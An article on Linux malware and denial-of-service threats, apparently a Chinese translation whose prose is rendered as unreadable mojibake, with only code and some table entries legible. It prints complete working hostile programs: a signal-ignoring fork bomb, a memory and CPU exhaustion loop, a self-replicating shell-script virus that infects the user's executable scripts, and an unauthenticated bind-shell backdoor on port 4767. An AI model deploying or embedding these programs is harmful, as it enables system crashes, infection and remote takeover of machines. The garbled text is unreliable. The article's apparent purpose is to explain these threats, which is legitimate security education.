LinuxϵͳÔÚ˽ÓÐÊý¾ÝºÍÓ²¼þ´æÈ¡µÄ±£»¤ÉÏ×öµÃÏ൱²»´í£¬²»¹ýËü¶ÔÓÚÄÇЩ²ÉÓúľ¡´óÁ¿×ÊÔ´ÒÔʹϵͳÎÞ·¨¹¤×÷µÄ¹¥»÷Ãô¸Ð¡£ÀýÈ磬ÒÔϵÄC³ÌÐò¾ÍºÜÄÑÍ£ÏÂÀ´£¬¼´Ê¹ÊÇÒÔÆÕͨÓû§Æô¶¯Ò²Èç´Ë£¬ÕâÑù£¬Èç¹ûÓû§Ê¹ÓõĽø³ÌÊýûÓÐÏÞÖÆ£¬Ëü»á¡°³Ô¾¡¡±½ø³Ì±íÖÐËùÓеĿÉÓÃÌõÄ¿²¢×èÖ¹ÈκÎÁ¬½Ó³¢ÊÔɱËÀËü£º
#include <signal.h> #include <unistd.h> int main (void) { int i; for (i = 0; i < NSIG; i ++) signal (i, SIG_IGN); while (1) fork (); }
Äã¿ÉÒÔ¶ÔÓû§ÊµÊ©µÄÏÞÖÆ£¨Ê¹ÓÃsetrlimit()
ϵͳµ÷ÓúÍshellulimit
º¯Êý£©ÄÜËõ¶Ì´ËÀà³ÌÐòµÄÊÙÃü£¬µ«ÊÇËüÃÇÖ»ÔÚ¾¹ýÒ»¶Îʱ¼äºó²ÅÆð×÷Óã¬ÔÚ´ËÆÚ¼äÄÚ£¬ÏµÍ³ÊÇÎÞ·¨µ½´ïµÄ¡£
»¹ÊÇͬÑùµÄÔÒò£¬ÈçϵijÌÐòºÄ¾¡ËùÓпÉÓõÄÄڴ沢ѻ·ÔËÐС°³Ôµô¡±CPUÖÜÆÚ£¬Õâ¸øÆäËü½ø³ÌÔì³É¼«´óµÄ¸ÉÈÅ¡£
#include <stdlib.h> #define LG 1024 int main (void) { char * buffer; while ((buffer = malloc (LG)) != NULL) memset (buffer, 0, LG); while (1) ; }
ͨ³£¸Ã³ÌÐò¿ÉÒÔͨ¹ý×îÐÂÄں˵ķ¢²¼°æ±¾ÖеÄÐéÄâÄÚ´æ¹ÜÀí»úÖÆÀ´×Ô¶¯É±ËÀ¡£²»¹ýÔÚ´Ë֮ǰ£¬É±ËÀÆäËüÈÎÎñµÄÄÚºËÐèÒª´óÁ¿µÄÄÚ´æºÍ¶ÌÔݵÄÍ£Ö¹»î¶¯£¨ÀýÈçX11Ó¦ÓóÌÐò£©¡£´ËÍ⣬ËùÓÐÆäËüÐèÒªÄÚ´æµÄ½ø³ÌÎÞ·¨µÃµ½Âú×㣬Õâ³£³£»áµ¼ÖÂËüÃÇÖÕÖ¹ÔËÐС£
½ÁÂÒÍøÂ粿¼þÔËÐÐÒ²ºÜÈÝÒ×£¬¿ÉÒÔʹÓò»¶ÏµÄÁ¬½ÓÇëÇóÀ´Ê¹ÏàÓ¦µÄ¶Ë¿Ú¹ýÔØ¡£±ÜÃâËüµÄ·½·¨ÊÇÓУ¬²»¹ýËüÃÇͨ³£ÒªÓɹÜÀíÔ±À´Ö´ÐС£ÓÉ´Ë£¬ÎÒÃÇ»á×¢Òâµ½ÔÚLinuxÏ£¬¼´±ãÓÉÆÕͨÓû§Æô¶¯µÄÂß¼Õ¨µ¯ÆÆ»µ²»Á˲»ÊôÓÚËûµÄÎļþ£¬µ«Ëü»¹ÊÇÊ®·ÖÌÖÑá¡£½«Ò»Ð©fork()
,malloc()
ºÍconnect()
×éºÏÆðÀ´ÔËÐÐ×ãÒÔ¶ÔϵͳºÍÍøÂç·þÎñ´øÀ´³ÁÖØµÄѹÁ¦¡£
Ö÷Ìâ:Unix²¡¶¾ Äã½ÓÊÕµ½Unix²¡¶¾¡£ ±¾²¡¶¾ÒÀÕÕÐ×÷ÔÔò¹¤×÷: Èç¹ûÄãʹÓÃLinux»òÕßUnix£¬Ç뽫´ËÓʼþת·¢¸øÄãµÄÅóÓѲ¢Ëæ»úµØÆÆ»µÄãϵͳÉϵÄһЩÎļþ¡£ |
Ʋ¿ªÄǸöÆÕ±éµÄ¿´·¨²»ÂÛ£¬²¡¶¾È·ÊÇLinuxϵÄÒ»ÏîÍþв¡£¸÷ÖÖÀàÐ͵IJ¡¶¾¶¼ÓС£ÔÚLinuxϲ¡¶¾ÕÒ²»µ½´«²¥µÄÓÐÒæÍÁÈÀ£¬Õâµ¹ÊÇû´íµÄ¡£Ê×ÏÈ£¬ÈÃÎÒÃÇ¿´¿´²¡¶¾ÔÚ»úÆ÷ÉÏ×ÌÉúµÄ½×¶Î¡£²¡¶¾´úÂë±ØÐëÔÚ´ËÖ´ÐС£ÕâÒâζ×ÅÒ»¸ö±»ÇÖÊ´µÄ¿ÉÖ´ÐÐÎļþ´ÓÆäËü»úÆ÷¸´ÖƹýÀ´ÁË¡£ÔÚLinuxÊÀ½çÖУ¬Ìṩһ¸öÓ¦ÓóÌÐò¸øÄ³È˵ij£¹æ×ö·¨ÊǸøËûÈí¼þËùÔÚµÄURL£¬¶ø²»ÊÇ·¢¸øËûÖ´ÐÐÎļþ¡£ÕâÒâζ×ÅÀ´×Ô¹Ù·½Õ¾µãµÄ²¡¶¾ºÜ¿ì¾ÍÄÜÕì²âµ½¡£Ò»µ©»úÆ÷±»¸ÐȾ¶ø´«²¥²¡¶¾£¬ËüÈÔ½«ÓÃ×÷Ô¤±àÒëÓ¦ÓóÌÐòµÄ·¢²¼Æ½Ì¨£¬ÕâÊǼ«Îªº±¼ûµÄ¡£Êµ¼ÊÉÏ£¬¶ÔÓÚ×ÔÓÉÈí¼þÊÀ½çÖеÄÂß¼Õ¨µ¯¶øÑÔ£¬¿ÉÖ´ÐÐÎļþ²¢·ÇºÃµÄ´«Êä½éÖÊ¡£
ÖÁÓÚÌáµ½ÔÚ»úÆ÷ÄÚ²¿µÄ´«²¥£¬ºÜÃ÷ÏÔ£¬Ò»¸ö±»ÇÖÊ´µÄÓ¦ÓóÌÐòÖ»ÄÜ´«È¾¸øÔËÐиóÌÐòµÄÓû§¾ßÓÐдȨÏÞµÄÎļþ¡£Ö»ÔÚÍê³ÉÄÇЩȷʵÐèÒªÌØÈ¨µÄ²Ù×÷ʱ²ÅÒÔrootÉí·Ý¹¤×÷µÄ´ÏÃ÷µÄ¹ÜÀíÔ±²»´ó¿ÉÄÜÔÚÁ¬½Óµ½´ËÉí·ÝÏÂʱÔËÐÐеÄÈí¼þ¡£³ýÁ˰²×°Set-UID rootÓ¦ÓóÌÐòʱ»á¸ÐȾ²¡¶¾Ö®Í⣬·çÏÕ¿ÉÒÔ´ó´ó¼õС¡£µ±ÆÕͨÓû§½«ÒªÔËÐÐÒ»¸ö±»¸ÐȾµÄ³ÌÐòʱ£¬²¡¶¾Ö»»á×÷ÓÃÓÚÊôÓÚ¸ÃÓû§µÄÎļþ£¬Õâ¿ÉÒÔ·ÀÖ¹Æä¸ÐȾϵͳʵÓóÌÐò¡£
ÌÈÈô˵ºÜ³¤Ê±¼äÄÚUnixϵIJ¡¶¾±»ÊÓ×÷ÎÚÍаîµÄ»°£¬ÄÇÒ²ÊÇÒòΪ´¦ÀíÆ÷£¨Ö®ºóÊÇ»ã±àÓïÑÔ£©ºÍ¿âÎļþ£¨Ö®ºóÊǶÔÏóÒýÓ㩵ĶàÑùÐÔÏÞÖÆÁËÔ¤±àÒë´úÂëµÄ×÷Ó÷¶Î§¡£½ñÌìÔò²¢·ÇÈç´Ë£¬Ò»¸ö¸ÐȾi386´¦ÀíÆ÷LinuxµÄÓÃGlibc 2.1±àÒëµÄELFÎļþµÄ²¡¶¾»áÕÒµ½Ðí¶àÄ¿±ê¡£³ý´ËÖ®Í⣬²¡¶¾±àдµÄÓïÑÔ¶ÀÁ¢ÓÚÖ´ÐÐËüµÄÖ÷»ú¡£±ÈÈç˵£¬Õâ¶ùÓÐÒ»¸öÕë¶Ôshell scriptsµÄ²¡¶¾¡£ËüÊÔͼÇÖÈëÆäÆô¶¯Ä¿Â¼ÏÂÿ¸öshell½Å±¾¡£ÎªÁ˱ÜÃâ¶à´Î¸ÐȾͬһ½Å±¾£¬²¡¶¾ºöÂÔÔÚµÚ¶þÐÐÓÐ×¢ÊÍ¡°infectd¡±»ò¡°vaccinated¡±µÄÎļþ¡£
#! /bin/sh # infected ( tmp_fic=/tmp/$$ candidates=$(find . -type f -uid $UID -perm -0755) for fic in $candidates ; do exec < $fic # Let's try to read a first line, if ! read line ; then continue fi # and let's check it is a shell script. if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then continue fi # Let's read a second line. if ! read line ; then continue fi # Is the file already infected or vaccinated ? if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then continue fi # Otherwise we infect it: copy the virus body, head -33 $0 > $tmp_fic # and the original file. cat $fic >> $tmp_fic # Overwrite the original file. cat $tmp_fic > $fic done rm -f $tmp_fic ) 2>/dev/null &
²¡¶¾²¢²»¹ØÐÄÒþ²Ø×ÔÉí»òÆä²Ù×÷£¬³ý·ÇËüÊÇÔÚºǫִ́ÐжøÈÃÔʼ½Å±¾À´Íê³ÉËüµÄ³£¹æ¹¤×÷¡£µ±È»£¬²»ÒªÒÔrootÉí·ÝÔËÐиýű¾£¡ÌرðÊÇÈç¹ûÄãÓÃfind .
Ìæ»»ÁËfind /
¡£Õâ¸ö³ÌÐò²»½ö¼ò½à£¬¶øÇÒËüºÜÈÝÒ×·ÅÈÎÆä¿ØÖÆ£¬ÌرðÊÇÈç¹ûϵͳ°üº¬´óÁ¿¶¨ÖƵÄshell½Å±¾¡£
±í1Öк¬ÓÐLinuxÏÂÖªÃû²¡¶¾µÄÏà¹ØÐÅÏ¢¡£Í¨¹ýÔÚÎļþÍ·²åÈëÆä´úÂë²¢·µ»ØÔʼ´úÂëµÄÊ£Óಿ·Ö£¬ËüÃǶ¼¿É¸ÐȾELF¿ÉÖ´ÐÐÎļþ¡£³ý·Ç¸æÖª£¬·ñÔòËüÃÇ»áÔÚϵͳĿ¼Ï²éÕÒDZÔÚµÄÄ¿±ê¡£´Ó´Ë±íÖУ¬Äã¿ÉÒÔ×¢Òâµ½ÔÚLinuxϵIJ¡¶¾¼´Ê¹Ã»ÓÐÌ«¶à¸æ¾¯£¬Ò²¼û²»×ÅÆäÏÔɽ¶ˮ£¬Ö÷ÒªÊÇÒòΪĿǰΪֹ²¡¶¾¶¼ÊÇÎÞº¦µÄ¡£
Ãû³Æ | Âß¼Õ¨µ¯ | ±¸×¢ |
Bliss | ±íÃæÎ޻ | Èç¹ûµ÷ÓÃÑ¡Ïî--bliss-disinfect-files-please £¬¿É×Ô¶¯Ïû³ý¶Ô¿ÉÖ´ÐÐÎļþµÄ¸ÐȾ¡£ |
Diesel | ÎÞ | |
Kagob | ÎÞ | ʹÓÃÁÙʱÎļþÀ´Ö´ÐÐÒѸÐȾµÄÔʼ³ÌÐò |
Satyr | ÎÞ | |
Vit4096 | ÎÞ | Ö»¸ÐȾµ±Ç°Ä¿Â¼µÄÎļþ¡£ |
Winter | ÎÞ | ²¡¶¾´úÂëΪ341×Ö½Ú¡£Ö»¸ÐȾµ±Ç°Ä¿Â¼ÖеÄÎļþ¡£ |
Winux | ÎÞ | ¸Ã²¡¶¾ÓÐÁ½ÖÖ²»Í¬´úÂ룬¿É·Ö±ðÓÃÀ´¸ÐȾWindowsÎļþºÍElf LinuxÎļþ¡£²»¹ýËü²»ÄÜ̽²â³ýÁË×ÔÉíËùÔÚ·ÖÇøÖ®ÍâµÄÆäËü·ÖÇø£¬Õâ¼õÉÙÁËÆä´«²¥µÄ»úÂÊ¡£ |
ZipWorm | ÔÚÆä·¢ÏÖµÄZipÎļþÖвåÈëÒ»¹ØÓÚLinuxºÍWindowsµÄ¡°ÓÕ¶ü£¨troll£©¡±Îı¾¡££¨¡°troll¡±=ÈðµäÉñ»°ÖеÄÒ»ÖÖС°«ÈË£¨ÒëÕß×¢£º°®¶ñ×÷¾ç¶øÌ¬¶ÈÓѺõÄÙªÈ壩£© |
Äã»á×¢Òâµ½¡°Winux¡±²¡¶¾¼ÈÄܹ»ÔÚWindowsÒ²ÄÜÔÚLinuxÏ´«²¥¡£ËüÊÇÒ»ÖÖÎÞº¦µÄ²¡¶¾£¬ÓëÆä˵ÊÇÒ»ÖÖʵ¼ÊΣÏÕ£¬²»Èç˵ÊÇÒ»ÖÖ¿ÉÄÜÐÔµÄÑéÖ¤¡£²»¹ý£¬µ±ÄãÏëµ½ÕâÑùµÄÒ»¸öÈëÇÖÕßÄܹ»´ÓÒ»¸ö·ÖÇøÌøµ½ÁíÒ»¸ö·ÖÇø£¬Ê¹ÓÃSamba·þÎñÆ÷ÈëÇÖ²»Í¬ÀàÐ͵ÄÍøÂçµÈµÈ£¬Äã¾Í»á¶ÔÕâÖÖÉè¼Æ¸Ðµ½²»º®¶øÀõÁË¡£ÒªÏëÁ¬¸ù²ù³ýÊÇÒ»¼þºÜÍ´¿àµÄÊÂÇ飬ÒòΪÐèÇóµÄ¹¤¾ß±ØÐë¿ÉͬʱÓÃÓÚÁ½Ààϵͳ¡£Ó¦ÓèÖØÊÓµÄÊÇ£¬Èç¹ûLinux·ÖÇø¿ÉÒÔÓÉÔËÐÐÓÚWindowsϵIJ¡¶¾·ÃÎʵϰ£¬ÄÇôLinuxÓÃÀ´×èÖ¹ÔÚÆÕͨÓû§Éí·ÝÏÂÔËÐеIJ¡¶¾ÆÆ»µÏµÍ³ÎļþµÄ±£»¤»úÖÆ¾ÍÐÎͬÐéÉèÁË¡£
ÈÃÎÒÃÇÇ¿µ÷ÕâÒ»µã£ºÈç¹ûÄã´Ó×îÖÕµÄ¶àÆ½Ì¨²¡¶¾×¤ÁôµÄWindows·ÖÇøÖØÐÂÆô¶¯»úÆ÷£¬ÄÇôÄãÔÚLinuxÏÂËù×öµÄÿÏî·À·¶¹ÜÀí¶¼ÊǺÁÎÞÓô¦µÄ¡£¶ÔÓÚÿ̨ʹÓÃË«Òýµ¼Æô¶¯Á½¸ö²Ù×÷ϵͳµÄ»úÆ÷¶øÑÔÕâ¶¼ÊǸöÎÊÌ⣻ÕûÌåµÄ±£»¤ÍêÈ«ÒÀÀµÓÚ×î´àÈõµÄÄǸöϵͳµÄ°²È«»úÖÆ¶ø¶¨£¡Î¨Ò»µÄ½â¾ö·½·¨ÊÇʹÓüÓÃܵÄÎļþϵͳÀ´×èÖ¹ÈκÎWindowsÓ¦ÓóÌÐò·ÃÎÊLinux·ÖÇø¡£ÕâÖÖ²¡¶¾ÉÐδ¹ãΪ´«²¥£¬²»¹ýÎÒ´ò¶Ä˵¹¥»÷δ¹ÒÔØ·ÖÇøµÄ²¡¶¾½«ºÜ¿ì³ÉΪLinux»úÆ÷ÉÏÖØ´óÍþвµÄ´ú±í¡£
ÌØÂåÒÁľÂíºÍ²¡¶¾Ò»Ñù¿ÉÅ£¬ÈËÃÇËÆºõ¶ÔËü¸üΪ¾¯Ìè¡£Óëͨ¹ý²¡¶¾´«²¥µÄÂß¼Õ¨µ¯²»Í¬£¬ÔÚÌØÂåÒÁľÂíÖз¢ÏÖµÄÂß¼Õ¨µ¯¶¼ÊÇÈËÃÇÓÐÒâ²åÈëµÄ¡£ÔÚ×ÔÓÉÈí¼þÊÀ½çÖУ¬´ÓһС¶Î´úÂëµÄ×÷Õßµ½×îÖÕµÄÓû§¶¼»áÊܵ½Ò»¸ö»òÁ½¸öе÷Õߣ¨±ÈÈç˵ÏîÄ¿µÄ¸ºÔðÈ˺ͷ¢²¼°æ±¾µÄ³ï±¸ÈË£©µÄÔ¼Êø¡£Èç¹û·¢ÏÖÁËÌØÂåÒÁľÂí£¬ÄÇôºÜÈÝÒ××¥µ½¡°×ï·¸¡±¡£
×ÔÓÉÈí¼þÒò¶ø¿ÉÒÔÊ®·ÖÓÐЧµØ·À·¶ÌØÂåÒÁľÂí¡£µ«ÊÇÎÒÃÇÌÖÂÛµÄ×ÔÓÉÈí¼þ£¬ÕýÈçÎÒÃǽñÌìËùÖªµÀµÄ£¬ÊÇÖ¸ÄÇЩ¾ß±¸ÏîÄ¿¹ÜÀí£¬ÉÆÓÚ½ÓÄɵĿª·¢ÕߺÍÏà¹ØwebÕ¾µãµÄÈí¼þ¡£ÕâÓë¹²ÏíÈí¼þ»òÃâ·ÑÈí¼þ´óÓв»Í¬£¬ÕâЩÈí¼þ¶¼ÊÇÔ¤±àÒëºÃµÄ£¬ÒÔÒ»ÖÖÎÞÕþ¸®µÄ·½Ê½ÓÉÉϰٸöwebÕ¾µã·¢²¼£¨»òÕßͨ¹ýÔÓÖ¾¸½´øµÄCD·¢²¼£©£¬Æä×÷ÕßÖ»ÄÜͨ¹ýÒ»¸öºÜÈÝÒ×αÔìµÄe-mailµØÖ·¶ø»ñϤ£»ÕâЩ¶¼Ê¹µÃÌØÂåÒÁľÂí¿ÉÒÔ¿É¿¿µØÉú´æ¡£
ÎÒÃÇӦעÒâµ½ÕâÑùÒ»¸öÊÂʵ£¬ÓµÓÐÓ¦ÓóÌÐòµÄÔ´´úÂëÇÒ½øÐбàÒë²¢²»ÄÜ×÷Ϊ°²È«µÄ±£Ö¤¡£ÀýÈ磬ÓꦵÄÂß¼Õ¨µ¯¿ÉÒÔÒþ²ØÔÚ"configure
"½Å±¾ÖУ¨ÔÚÔËÐÐ"./configure; make
"ʱµ÷Óã©£¬¶øÕâÑùµÄ½Å±¾Í¨³£»áÓдóÔ¼2000Ðг¤!×îÆðÂ뵫²¢·Ç×î×ã¹»µÄ±£Ö¤£¬Ó¦ÓóÌÐòµÄÔ´´úÂëÓ¦ÊǸɾ»µÄ²¢ÄܱàÒ룻²»¹ýÕ⻹ÊÇÎÞ·¨×èÖ¹Makefile
Òþ²ØÂß¼Õ¨µ¯£¬²¢ÔÚ×îºóÔËÐÐ"make install
"ʱ¼¤»î×ÔÉí£¬¶øÕâͨ³£ÕýÊÇÒÔrootÉí·ÝÔËÐеģ¡
×îºó£¬²¡¶¾ºÍÌØÂåÒÁľÂíÔÚWindowsÏÂ×÷ËîµÄÒ»¸öÖØÒª²¿·ÖÊÇÉæ¼°ÎĵµÊ±µÄºêÖ´ÐС£ÔÚLinuxÏµĹ¤×÷³ÌÐò°üÊDz»ÄܽâÎöÕâЩºêµÄ£¬ÖÁÉÙĿǰΪֹÊÇÕâÑù£¬Óû§¶Ìʱ¼äÄܵõ½Ò»ÖÖÑÔ¹ýÆäʵµÄ°²È«¸Ð¡£µ½Ä³¸öʱºò£¬ÕâЩ¹¤¾ß»áÄܹ»Ö´ÐаüÀ¨ÔÚÎĵµÖеÄBasicºê¡£Éè¼ÆÕßÈÃÕâЩºêÔÚϵͳÉÏÔËÐÐÃüÁî³ÙÔç»á±»Ö¤Ã÷ÊǸöÔã¸âµÄÖ÷Òâ¡£µ±È»£¬¶ÔÓÚ²¡¶¾£¬ÆÆ»µµÄЧӦ»áÊܵ½Óû§ÌØÈ¨µÄÏÞÖÆ£¬µ«Êǿɿ¿ÏµÍ³Îļþ£¨ÖÁÉÙ°²×°CDÉÏ»¹ÓУ©µÄÊÂʵ¶ÔÓÚÄÇЩ¸Õ¸Õ¶ªÊ§ÁËËûµÄÎĵµ¡¢Ô´ÎļþºÍÓʼþ¶ø±¸·ÝÓÖÊÇÒ»¸öÔÂ֮ǰµÄÓû§À´Ëµ£¬²»»á´øÀ´¶àÉÙ°²Î¿¡£
ÔÚ½áÊø¹ØÓÚÊý¾ÝÖÐÌØÂåÒÁľÂíµÄÕâ¸ö²¿·Ö֮ʱ£¬ÎÒÃÇӦעÒâµ½£º×ÜÊÇÓз½·¨À´·³ÈÅÓû§µÄ£¬¼´Ê¹²»ÊÇÓк¦µÄ£¬¼´Ê¹ÓÐЩÎļþ»¹ÐèÒª½âÊÍ¡£ÔÚUsenetÉÏ£¬Äã¿ÉÒÔ¿´µ½£¬²»Ê±µØÑ¹ËõÎļþ»á×ÔÎÒ·±Ö³Îª´óÁ¿ÎļþÖ±µ½´ïµ½´ÅÅ̵ı¥ºÍ¡£ÓÐЩPostscriptÎļþÒ²Äܹ»×èÈû½âÊͳÌÐò£¨ghostscript
»ògv
£©¶øÏûºÄCPUʱ¼äÖÜÆÚ¡£ÕâЩ²¢Ã»ÓÐΣº¦£¬²»¹ýËüÃÇÈÃÓû§ÓÃʱÎÞ·¨±£Ö¤¶øÇÒÈÅÈ˲»Ç³¡£
ÔÚ1988 InternetÈ䳿ÎÊÊÀ֮ʱ£¬»¹Ã»ÓÐLinux´æÔÚ£»Linux±¾Ó¦³ÉΪÕâÖÖ¹¥»÷µÄ×î¼ÑÑ¡Ôñ£¬µ«×ÔÓÉÈí¼þÔ´´úÂëµÄ´æÔÚʹµÃËÑË÷©¶´±äµÃ·Ç³£ÈÝÒ×£¨ÀýÈ磬»º³åÇøÒç³ö£©¡£±àдһ¸ö¡°¸ßÖÊÁ¿¡±È䳿µÄ¸´ÔÓÐÔ¼õÉÙÁËÄÇЩÔÚLinuxÏÂÕæÕý»îÔ¾µÄÈËÊý¡£±í2½éÉÜÁËһЩÈ䳿£¬ËüÃǶ¼ÊÇ´«²¥Éõ¹ãµÄ¡£
È䳿¿ÉÒÔÀûÓÃÍøÂç·þÎñÆ÷µÄ©¶´¡£¶ÔÓÚż¶ûÁ¬½Óµ½InternetµÄ¹¤×÷Õ¾¶øÑÔ£¬ÀíÂÛÉÏ·çÏÕҪСÓÚÒ»Ö±Á¬½ÓµÄ·þÎñÆ÷¡£²»¹ý£¬Îª¼ÒÍ¥Óû§ÌṩµÄ½ÓÈëÀàÐÍ£¨Cable£¬SDLµÈµÈ£©µÄ·¢Õ¹ÒÔ¼°Ä¿Ç°ÍøÂç·þÎñ£¨HTTP·þÎñÆ÷£¬ÄäÃûFTPµÈ£©µÄÒ×ʵÏÖÐÔÒâζ×ÅËüºÜ¿ì»á³ÉΪÈËÈËËù¹Ø×¢µÄÄ¿±ê¡£
Ãû³Æ | ¹¥»÷µÄ©¶´ | ±¸×¢ |
Lion (1i0n ) |
bind |
ÔÚÈëÇֵĻúÆ÷Éϰ²×°ºóÃųÌÐò(TCP port 10008)ºÍroot-kit¡£·¢ËÍϵͳÐÅÏ¢¸øÒ»¸öÔÚÖйúµÄemailµØÖ·¡£ |
Ramen | lpr , nfs ,
wu-ftpd |
ÐÞ¸ÄËüËùÕÒµ½µÄindex.html Îļþ |
Adore (Red Worm) | bind , lpr , rpc ,
wu-ftpd |
ÔÚϵͳÉϰ²×°ºóÃųÌÐò²¢·¢ËÍϵͳÐÅÏ¢µ½ÔÚÖйúºÍÃÀ¹úµÄemailµØÖ·¡£°²×°Ò»¸öps µÄÐ޸İ汾À´Òþ²ØÆä½ø³Ì¡£ |
Cheese | ºÍLionÀàËÆ | ¸ÃÈ䳿ÊÇÒ»¸öÕýÅɳÌÐò£¬ÊÇÓÃÀ´¼ì²éºÍɾ³ý±»Lion¿ª·ÅµÄºóÃŵġ£ |
¹ØÓÚÈ䳿£¬ÎÒÃÇӦעÒâµ½ËüÃǵĴ«²¥Êܵ½Ê±¼äµÄÏÞÖÆ¡£ËüÃÇÖ»ÔÚ´ÓÒ»¸öϵͳ¸´ÖƵ½ÁíһϵͳʱÊÇ¡°»î×ŵġ±£¬¶øÇÒÒòΪÆäÒÀÀµÓÚ×îз¢Ïֵĩ¶´£¬Ä¿±êÓ¦ÓóÌÐòµÄѸËÙÉý¼¶¿ÉÒÔÍ£Ö¹ËüÃǵĴ«²¥¡£ÔÚ²»¾ÃµÄ½«À´£¬¼ÒÓÃϵͳ¿ÉÄÜ»á×Ô¶¯²éѯÏà¹ØµÄwebÕ¾µã£¨Ã¿Ì죩¡ª¡ªÕâÐèÒªÐÅÈΡª¡ªÒÔÔڴ˲éÕÒϵͳӦÓóÌÐòµÄ°²È«²¹¶¡¡£Õâ¶ÔÓÚ±ÜÃâÓû§È«ÌìÒÔϵͳ¹ÜÀíÔ±Éí·Ý¹¤×÷²¢Ê¹Ö®ÄÜÐÖúÖ´ÐÐÍøÂçÓ¦ÓóÌÐòÀ´ËµºÜÓбØÒª¡£
ºóÃųÌÐòµÄÎÊÌâÏ൱ÑÏÖØ£¬¼´Ê¹¶ÔÓÚ×ÔÓÉÈí¼þÒ²ÊÇÈç´Ë¡£µ±È»£¬ÒòΪÓÐÁ˳ÌÐòµÄÔ´´úÂ룬ÀíÂÛÉÏÄã¿ÉÒÔ¼ì²éËü×öÁËʲô¡£Êµ¼ÊÉÏ£¬ºÜÉÙÓÐÈËÄܹ»¶Á¶®´ÓInternetÉÏÏÂÔØµÄµµ°¸ÎļþÄÚÈÝ¡£ÀýÈ磬ÏÂÃæµÄС³ÌÐòÌṩÁËÒ»¸öÍêÕûµÄºóÃųÌÐò£¬¿ÉÊÇÆäÈÝÁ¿Ð¡µ½¿ÉÒÔÒþ²ØÓÚÒ»¸ö×ã¹»´óµÄÓ¦ÓóÌÐòÖС£¸Ã³ÌÐòÒý×ÔÎÒµÄÊé[BLAESS 00]£¬ÓÃÓÚ¾ÙÀý˵Ã÷αÖն˵ĻúÖÆ¡£¸Ã³ÌÐò²»ÊǺܺöÁ£¬ÒòΪËüÈ¡ÏûÁË×¢ÊÍÒÔʹ֮¸ü¶Ì¡£¾ø´ó¶àÊý´íÎó¼ì²éÒ²ÒòͬÑùµÄÔÒò±»È¥³ýÁË¡£µ±Ö´ÐÐʱ£¬ËüÔڸûúÆ÷µÄÿ¸öÍøÂç½Ó¿ÚµÄ³ÌÐò¿ªÍ·Ö¸¶¨µÄ¶Ë¿Ú£¨Ä¬ÈÏΪ4767£©ÉÏ´ò¿ªÒ»¸öTCP/IP·þÎñÆ÷¡£Ã¿ÌõÇëÇ󵽴˶˿ڵÄÁ¬½Ó»á×Ô¶¯·ÃÎÊÒ»¸öshell¶øÎÞÈκÎÉí·Ý¼ø±ð!!!
#define _GNU_SOURCE 500 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <termios.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #define ADRESSE_BACKDOOR INADDR_ANY #define PORT_BACKDOOR 4767 int main (void) { int sock; int sockopt; struct sockaddr_in adresse; /* address */ socklen_t longueur; /* length */ int sock2; int pty_maitre; /* pty_master */ int pty_esclave; /* pty_slave */ char * nom_pty; /* name_pty */ struct termios termios; char * args [2] = { "/bin/sh", NULL }; fd_set set; char buffer [4096]; int n; sock = socket (AF_INET, SOCK_STREAM, 0); sockopt = 1; setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt)); memset (& adresse, 0, sizeof (struct sockaddr)); adresse . sin_family = AF_INET; adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR); adresse . sin_port = htons (PORT_BACKDOOR); if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse))) exit (1); listen (sock, 5); while (1) { longueur = sizeof (struct sockaddr_in); if ((sock2 = accept (sock, & adresse, & longueur)) < 0) continue; if (fork () == 0) break; close (sock2); } close (sock); if ((pty_maitre = getpt()) < 0) exit (1); grantpt (pty_maitre); unlockpt (pty_maitre); nom_pty = ptsname (pty_maitre); tcgetattr (STDIN_FILENO, & termios); if (fork () == 0) { /* Son: shell execution in the slave pseudo-TTY */ close (pty_maitre); setsid(); pty_esclave = open (nom_pty, O_RDWR); tcsetattr (pty_esclave, TCSANOW, & termios); dup2 (pty_esclave, STDIN_FILENO); dup2 (pty_esclave, STDOUT_FILENO); dup2 (pty_esclave, STDERR_FILENO); execv (args [0], args); exit (1); } /* Father: copy of the socket to the master pseudo-TTY and vice versa */ tcgetattr (pty_maitre, & termios); cfmakeraw (& termios); tcsetattr (pty_maitre, TCSANOW, & termios); while (1) { FD_ZERO (& set); FD_SET (sock2, & set); FD_SET (pty_maitre, & set); if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1, & set, NULL, NULL, NULL) < 0) break; if (FD_ISSET (sock2, &set)) { if ((n = read (sock2, buffer, 4096)) < 0) break; write (pty_maitre, buffer, n); } if (FD_ISSET (pty_maitre, &set)) { if ((n = read (pty_maitre, buffer, 4096)) < 0) break; write (sock2, buffer, n); } } return (0); }
²åÈëÕâÑùµÄÒ»¶Î´úÂëµ½ÅÓ´óµÄÓ¦ÓóÌÐò£¨ÀýÈçsendmail
£©»áÒþ²ØÉÏ×ã¹»³¤µÄʱ¼äÀ´½øÐа¹ÔàµÄÉøÍ¸¡£´ËÍ⣬ÓÐЩÈËÔÚÒþ²ØÐ¡¶Î´úÂëÔËÐеļ¼ÇÉÉÏÊÇÀÏÊÖ£¬ÏñÿÄêÔÚIOCC(International Obsfucated C Code Contest)¾ºÈüÖÐÌá½»µÄ³ÌÐò¾ÍÄÜ×÷Ϊ×ôÖ¤¡£
²»Ó¦ÈÏΪºóÃųÌÐò½öÊÇÀíÂÛÉϵĿÉÄÜ¡£ÕâÀàÀ§ÄÑÈ·µÄÈ·ÒѾÔâÓö¹ý£¬ÀýÈçÔÚRed-Hat 6.2·¢²¼°æ±¾ÖеÄPiranha³ÌÐò°ü¾ÍÄܽÓÊÕĬÈÏÃÜÂë¡£Quake 2³ÌÐòͬÑùÒ²»³ÒÉÒþ²ØÁ˺óÃųÌÐòÒÔÔÊÐíÔ¶³ÌÖ´ÐÐÃüÁî¡£
